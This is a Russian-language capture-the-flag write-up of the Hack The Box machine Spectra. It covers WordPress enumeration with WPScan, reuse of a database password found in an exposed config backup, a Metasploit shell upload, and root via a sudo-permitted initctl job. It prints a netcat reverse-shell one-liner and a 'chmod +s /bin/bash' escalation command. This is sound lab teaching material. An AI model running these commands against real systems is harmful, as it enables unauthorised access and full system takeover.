Хакер - HTB Spectra. Пентестим WordPress и повышаем привилегии в Unix
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Сканирование веб-контента
- Точка входа
- WordPress
- Точка опоры
- Продвижение
- Локальное повышение привилегий
Сегодня мы с тобой пройдем легкую машину с площадки Hack The Box под названием Spectra. Мы будем пентестить сайт под управлением WordPress, продвигаться на хосте благодаря автологину и повысим привилегии за счет команды initctl.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Первым делом добавляем IP машины в /etc/hosts:
10.10.10.229 spectra.htb
И сканируем порты.
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

По результатам сканирования имеем три открытых порта:
- порт 22 — служба SSH;
- порт 80 — веб‑сервер nginx 1.17.4;
- порт 3306 — СУБД MySQL.
SSH и MySQL для нас пока закрыты, поэтому начнем с веба. Внимательно изучим сайт и соберем информацию.
Сканирование веб-контента
Сайт представляет собой просто страницу с двумя ссылками. Первая ведет к каталогу, где развернут сайт Software Issue Management на WordPress, а по второму адресу просто получим сообщение об ошибке при подключении к базе данных.



ТОЧКА ВХОДА
Интересен адрес тестового сайта:
http://10.10.10.229/testing/index.php
Мне показалось подозрительным прямое указание индекс‑файла index.php, поэтому я проверил, что вернет сервер при обращении к http://10.10.10.229/testing/. И сервер вдруг вернул все содержимое этой директории! Простейшая ошибка в настройках веб‑сервера, которая иногда может помочь.

Быстро пересмотрев файлы, я нашел в wp-config.php.save (бэкап wp-config.php) учетные данные для подключения к базе данных.

Уже что‑то имеем, но подключиться к базе данных у меня не вышло, поскольку либо запрещена удаленная авторизация, либо в настройках службы указан только определенный адрес, с которого разрешено подключение. Так что продолжим изучать веб и перейдем к WordPress.
WordPress
Для тестирования сайтов на WordPress мне не раз пригождалась утилита WPScan. С ее помощью можно обнаружить уязвимые версии самого WordPress, тем и плагинов, а также собрать список пользователей и перебрать учетные данные — в общем, все, что нужно.
Чаще всего уязвимости кроются в плагинах, поэтому я зарядил перебор в агрессивном режиме (занимает около получаса).
wpscan --url http://spectra.htb/main/ --plugins-detection aggressive
К сожалению, ничего обнаружено не было. Но вспомним, что у нас есть один пароль, который можно спреить (Password Spraying) по всем найденным пользователям. Давай поищем их в CMS. Запускаем WPScan с опцией -e u.
wpscan --url http://spectra.htb/main/ -e u

И у нас получается авторизоваться от имени пользователя administrator с паролем, найденным в бэкапе файла конфигураций WordPress.

ТОЧКА ОПОРЫ
Администратор WordPress имеет право загружать на сервер файл, поэтому мы можем загрузить шелл и выполнить бэкконнект к своему хосту. В данном случае это легче всего сделать с помощью модуля exploit/unix/webapp/wp_admin_shell_upload в Metasploit Framework. В опциях модуля следует указать адрес и порт локального хоста для подключения (LHOST и LPORT), целевой хост (RHOSTS), данные администраторской учетки и путь к домашнему каталогу WordPress (TARGETURI).
После запуска командами run или exploit получим сессию Meterpreter в контексте учетной записи службы nginx.
msfconsole
use exploit/unix/webapp/wp_admin_shell_upload
set LHOST 10.10.14.141
set LPORT 4321
set RHOSTS spectra.htb
set USERNAME administrator
set PASSWORD devteam01
set TARGETURI /main
run

ПРОДВИЖЕНИЕ
Когда получаешь шелл в контексте учетной записи службы веб‑сервера, первым делом стоит смотреть данные из файлов, которые отвечают за подключение к базе данных, хеши паролей пользователей сайта, а также всякие пароли и ключи в коде.
Однако в данном случае у нас уже есть и пароль для подключения к базе данных, и пароль пользователя сайта, поэтому будем искать критические данные где‑то на хосте. Просматривая директории, я наткнулся на файл /opt/autologin.conf.orig — скрипт, который отвечает за автоматический вход в систему без логина.


В скрипте используется файл /etc/autologin/passwd, а в нем мы находим пароль.

INFO
Каждый раз, когда получаешь новые имена пользователей и пароли, не забывай проверять их в разных комбинациях во всех доступных сервисах.
В каталоге /home я обнаружил много папок, а это значит, что в системе много пользователей. Узнать о них больше можно из файла /etc/passwd.


В итоге обнаруживаем пользователя katie, от имени которого можем авторизоваться по SSH с найденным паролем.

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Мы зашли как пользователь, осталось получить привилегии рута. Скрипт LinPEAS, который я обычно использую для разведки и поиска путей повышения привилегий, не сработал, поэтому пришлось проводить проверку вручную.
Первым делом проверяем наиболее вероятные места: настройки sudoers, приложения с выставленным битом SUID, прослушиваемые на локалхосте порты. Нам везет еще на стадии sudoers. При вводе команды sudo -l видим такую картину.

Любой пользователь (ALL) может выполнить команду /sbin/initctl в привилегированном контексте без ввода пароля (NOPASSWD). Initctl — это инструмент для взаимодействия с демоном инициализации init.
Логичный способ его эксплуатации — команда запуска задачи initctl start. Для этого нам понадобится конфигурационный файл задачи в директории /etc/init/.
При просмотре этого каталога найдем несколько тестовых конфигов, доступных группе, в которую входит текущий пользователь.

Все, что нужно сделать, — это выбрать любой из этих конфигов и записать команду на bash где‑то между директивами script и end script. Сначала я записал реверс‑шелл для BSD.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [ip] [port] >/tmp/f


Но указанный шелл не давал бэкконнект, поэтому пришлось искать другие пути для закрепления в привилегированном контексте: запись ключей SSH, создание привилегированных пользователей и так далее. Плоды дало назначение бита SUID на файл /bin/bash:
chmod +s /bin/bash
Если ты внимательно читал книжки по Unix, то наверняка знаешь, что если у исполняемого файла задан бит SUID (set user ID), то обычный пользователь, который запускает этот файл, получит повышение прав до владельца этого файла в рамках запущенного процесса. Поскольку владелец bash — это root, то мы таким образом сможем выполнять команды от его имени.
INFO
Из‑за возможности состояния гонки многие операционные системы игнорируют установленный shell-скриптом S-атрибут.
Осталось просто запустить задачу командой initctl start.

Команда выполнена успешно, мы можем запустить привилегированный bash.

Машина захвачена!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei